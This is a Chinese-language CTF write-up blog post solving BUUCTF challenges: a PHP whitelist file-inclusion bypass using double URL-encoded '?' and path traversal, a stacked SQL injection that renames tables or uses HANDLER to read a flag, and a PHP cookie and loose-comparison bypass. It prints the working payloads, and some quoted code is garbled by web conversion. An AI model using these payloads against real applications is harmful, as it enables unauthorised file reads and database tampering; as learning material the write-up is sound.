Buuctf刷题记录

[HCTF 2018]WarmUp

这是一道关于代码审计的题
image.png
通过查看源代码发现了source.php的源文件
进入查看


`

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>`

通过审计

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];可以发现可以一个文件-hint.php


image.png
flag在该文件内


继续审计source内的代


`if (! empty($_REQUEST['file']) //$_REQUEST['file']内的值不为空is_string($_REQUEST['file']) //$_REQUEST['file']内的内容是字符: checkFile($_REQUEST['file']) //$_REQUEST['file']可以通过checkFile函数的检验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']
exit;
}

通过这段代码我知道构造需要满足三个条件:

  1. $_REQUEST['file']内的值不为空
  2. $_REQUEST['file']内的内容是字符
  3. `$_REQUEST[‘file’]可以通过checkFile函数的检验

`



查看checkFile函数内容代码

`if (! isset(p a g e ) ∣ ∣ ! i s s t r i n g ( page) || !is_string(page)!isstring(page)) { //若干$page变量不存在或者不是字符串
echo “you can’t see it”; //输出you can’t see it
return false; //返回false
}

        if (in_array($page, $whitelist)) { //如果$page变量存在于$whitelist数组中<br />                return true;                   //返回true<br />            }

        $_page = mb_substr(   //mb_substr — 获取部分字符串<br />                $page,<br />                0,<br />                mb_strpos($page . '?', '?')    //mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置<br />            );<br />            if (in_array($_page, $whitelist)) {<br />                return true;<br />            }    //本段代码的意思,截取$page变量内'?'前的字符,如果$page变量中不含'?'则截取$page变量的整个部分

        $_page = urldecode($page); //对$page变量进行url解码<br />            $_page = mb_substr(<br />                $_page,<br />                0,<br />                mb_strpos($_page . '?', '?')<br />            );<br />            if (in_array($_page, $whitelist)) {<br />                return true;<br />            }<br />            echo "you can't see it";<br />            return false;<br />        }`<br />​

通过函数中的四个IF条件判断可以推断出输出条件

  1. 第一个是判断$page变量为字符串
  2. 第二个是判断p a g e 变 量 在 page变量在pagewhitelist数组内
  3. 第三个是判断截取后的p a g e 变 量 是 否 还 存 在 page变量是否还存在pagewhitelist数组内,截取的是 '?'的部分,如果存在则返回true
  4. 第四个是判断url解码并截取后的p a g e 是 否 存 在 于 page是否存在于pagewhitelist内,如果存在则返回true


1.可见如果四个if判断条件都无返回值,则返回false
2.四个语句中有三个语句存在返回true的条件,但是第二个语句中,用于判断$page,为必要条件
3.第三个语句中截取'?'前的部分,由于?后的部分将会解析为get方式提交参数,不能利用
4.第四个语句,要先进行url解码在进行截取,因此我们可以将'?'进行两次url编码,一次用于在提交参数时解码,一次用于check函数时解码,最终解码仍为'?',仍然可以通过第四个语句判断
'?'进行两次url编码-'%253F'


构造payload:?file=source.php?../ffffllllaaaagggg
转换为正确的格式:?file=source.php%253F../ffffllllaaaagggg 因为不知道ffffllllaaaagggg文件在哪一个目录下因此要../一个个添加查看image.png


最终的payload:?file=source.php%253F../../../../../ffffllllaaaagggg


[强网杯 2019]随便注

image.png
可以看出来这是一道很明显的注入题。。。
判断注入点image.png

可以看出来,是字符型注入,单引号
判断列image.png

爆数据库image.png
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以看到过滤了这么多,简直不是人既然这么多就不要一个个替换了,
尝试一下堆叠注入
查询数据库:**1';show databases;#**
image.png
查看所有的表:1';show tables;#
image.png

查询words表中所有列:

image.png

查询1919810931114514表中所有列

看到了flag不是image.png

那么关键不是来了!!!如何读取字段内flag呢
如果是一般情况:select * from1919810931114514;#(字符串为表名操作时要加反引号)

但是select被过滤了如何绕过就成了我们需要考虑的地方了,
其实通过比较words和1919-------这表我们可以发现
words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
问题来了,我们应该怎么做嘞:更改列名 !

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

我们需要将words改为其他表名:
alter table words rename to words1;
然后将1919810931114514替换为words:
alter table1919810931114514rename to words;
然后将id更改为flag:
alter table words change flag id varchar(50);

payload:1';alter table words rename to words1;alter table1919810931114514rename to words;alter table words change flag id varchar(50);#

然后用万能语句:1'and 1=1#

解法二:1';handler1919810931114514open;handler1919810931114514read first;#

hander在数据库中是查询语句

handler语句的语法如下:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE


不通过索引打开查看表
打开句柄:handler handler_table open;
查看表数据:handler handler_table read first;
继续查看:handler handler_table read next;
关闭句柄:handler handler_table close;
这就是用到的知识点,可以查看一下链接进行更多的了解:链接



8.18练习

image.png

查看源码
image.png

image.png

当cookie值为0时,无法购买,修改user=1;发生改变
image.png

通过身份验证,
接下来传入参数
money=100000000&password=404

image.png

可以看到Password不能是数字,因为是==若比较,加入字符绕过
构造:money=100000000&password=404c
image.png

数字不能太长,可以使用科学计数法换算
money=1e9&password=404c

image.png
方法二:
这里应该是对字符进行了判断,当前PHP版本为PHP/5.3.3,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断

money[]=1&password=404c
image.png



版权声明:本文为weixin_51706044原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。